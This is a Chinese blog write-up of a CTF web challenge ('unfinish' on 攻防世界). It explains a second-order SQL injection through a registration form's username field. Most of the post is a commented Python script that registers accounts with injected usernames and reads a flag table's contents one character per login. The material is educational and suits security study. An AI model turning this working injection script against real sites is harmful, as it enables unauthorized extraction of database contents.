攻防世界web进阶题—unfinish

攻防世界web进阶题—unfinish

1、看一下题目提示SQL

2、打开题目看一下源码,没有问题

3、查一下网站的组成:php+Apache/2.4.7+Ubuntu

4、扫一下目录,扫到一个注册页面——/register.php

注册一个账号登录,登陆后的界面为

没有可利用的地方,返回上一步,注册,既然是SQL注入,那就尝试着绕过

 

 

 登录后发现用户名为2

 

猜测此处的SQL语句为insert ........'username' 我们构造的语句执行为 insert......'1'+'1'

既然知道闭合方式,然后开始注入(二次注入)

用大佬写的poc,我注释一下帮助理解

import requests
import re


register_url = 'http://111.200.241.244:63310/register.php'#注册网址
login_url = 'http://111.200.241.244:63310/login.php'#登录网址


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,#用数据库的加法来依次得到flag的每一位的ascii数值
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)#进行注册并修改用户名

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)#通过参数来登录
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)#正则表达式来获取登陆后的用户名
    print(chr(int(code.group(1))), end='')  #group()用来提出分组截获的字符串,()用来分组,int来转换字符类型,chr 返回值是当前整数对应的 ASCII 字符

 

得到flag

 

 

sql二次注入是什么?

  二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。也即是说,我注入了恶意数据,我引用恶意数据来进行SQL注入。

 

 

 

 

 

posted @ 2022-03-19 15:53  mt0u  阅读(108)  评论(0编辑  收藏  举报